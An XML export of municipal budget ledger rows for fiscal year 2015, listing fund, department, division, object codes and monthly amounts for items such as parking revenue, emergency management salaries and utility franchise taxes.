<row _id="17276"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>404420.0</object><object_description>5TH AND ARIZONA PARKING</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2015</fiscal_year><july>-624000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-624000</total></row>
<row _id="17277"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522530.0</object><object_description>PARKING OUTREACH</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>10000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10000</total></row>
<row _id="17278"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>621000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>621000</total></row>
<row _id="17279"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1645</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1645</total></row>
<row _id="17280"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>552010.0</object><object_description>CUSTODIAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>20130</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20130</total></row>
<row _id="17281"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>552010.0</object><object_description>CUSTODIAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>12500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12500</total></row>
<row _id="17282"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>563161.0</object><object_description>FTA NEW FREEDOM GRANT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>71781</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>71781</total></row>
<row _id="17283"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>15</fund_id><fund_name>Low/Mod Incme Housing Asset Fd</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577503.0</object><object_description>TRANSFER TO FUND 01</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>245199</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>245199</total></row>
<row _id="17284"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511017.0</object><object_description>PERMANENT EMPLOY SWORN POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>241546</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>241546</total></row>
<row _id="17285"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>333084</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>333084</total></row>
<row _id="17286"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>50395</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>50395</total></row>
<row _id="17287"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511744.0</object><object_description>MED TRUST - POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1770</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1770</total></row>
<row _id="17288"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>532</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>532</total></row>
<row _id="17289"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3189</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3189</total></row>
<row _id="17290"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17291"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>17550</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>17550</total></row>
<row _id="17292"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3195</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3195</total></row>
<row _id="17293"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>800</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>800</total></row>
<row _id="17294"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1000</total></row>
<row _id="17295"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>408641.0</object><object_description>CO ESPLANADE - STPL</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-3284000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-3284000</total></row>
<row _id="17296"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>400310.0</object><object_description>STRUCTURE ATTENDANT PARKING</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2015</fiscal_year><july>-7273000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-7273000</total></row>
<row _id="17297"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>407710.0</object><object_description>MAIN LIBRARY PARKING STRUCTURE</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2015</fiscal_year><july>-808000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-808000</total></row>
<row _id="17298"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577503.0</object><object_description>TRANSFER FROM FUND 15</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>-245199</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-245199</total></row>
<row _id="17299"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>401830.0</object><object_description>VENDOR RENT</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-239730</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-239730</total></row>
<row _id="17300"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>402550.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2015</fiscal_year><july>-10000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-10000</total></row>
<row _id="17301"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>441</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>441</total></row>
<row _id="17302"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2559</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2559</total></row>
<row _id="17303"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>15652</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>15652</total></row>
<row _id="17304"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>533230.0</object><object_description>SECURITY SYSTEMS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>763</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>763</total></row>
<row _id="17305"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>533720.0</object><object_description>RADIO EQUIP &amp; MAINT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>30540</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>30540</total></row>
<row _id="17306"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>511050.0</object><object_description>CAPITAL PROJECT STAFFING</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-159075</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-159075</total></row>
<row _id="17307"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400080.0</object><object_description>HOME EXEMPT TAX RELIEF</object_description><category_code>602.0</category_code><category_code_description>Property Taxes</category_code_description><fiscal_year>2015</fiscal_year><july>-188000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-188000</total></row>
<row _id="17308"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400100.0</object><object_description>FRANCHISE TAX - UTILITIES</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2015</fiscal_year><july>-978698</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-978698</total></row>
<row _id="17309"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400150.0</object><object_description>DOCUMENTARY TRANSFER TAX</object_description><category_code>606.0</category_code><category_code_description>Other Local Taxes</category_code_description><fiscal_year>2015</fiscal_year><july>-5400000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-5400000</total></row>
<row _id="17310"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400180.0</object><object_description>LOCAL PUBLIC SAFETY FUNDS</object_description><category_code>602.0</category_code><category_code_description>Property Taxes</category_code_description><fiscal_year>2015</fiscal_year><july>-1034378</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1034378</total></row>
<row _id="17311"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>404660.0</object><object_description>LIBRARY BOND TAX OVERRIDE</object_description><category_code>602.0</category_code><category_code_description>Property Taxes</category_code_description><fiscal_year>2015</fiscal_year><july>-1433050</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1433050</total></row>
<row _id="17312"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>405590.0</object><object_description>CABLE FRANCHISE FEES</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2015</fiscal_year><july>-1107430</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1107430</total></row>
<row _id="17313"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>579001.0</object><object_description>DISCRET-SECTION 8 ASST</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17314"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>408150.0</object><object_description>ALT FUEL TAX CREDIT</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-100000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-100000</total></row>
<row _id="17315"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>617</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>617</total></row>
<row _id="17316"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>53</fund_id><fund_name>Parks and Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>402950.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2015</fiscal_year><july>-1000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1000</total></row>
<row _id="17317"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>578841.0</object><object_description>JUSTICE ASSIST GRANT 2013-OT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>29283</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>29283</total></row>
<row _id="17318"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1046</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1046</total></row>
<row _id="17319"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>104</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>104</total></row>
<row _id="17320"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>72</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>72</total></row>
<row _id="17321"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>480</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>480</total></row>
<row _id="17322"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>30</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>30</total></row>
<row _id="17323"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1000</total></row>
<row _id="17324"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1000</total></row>
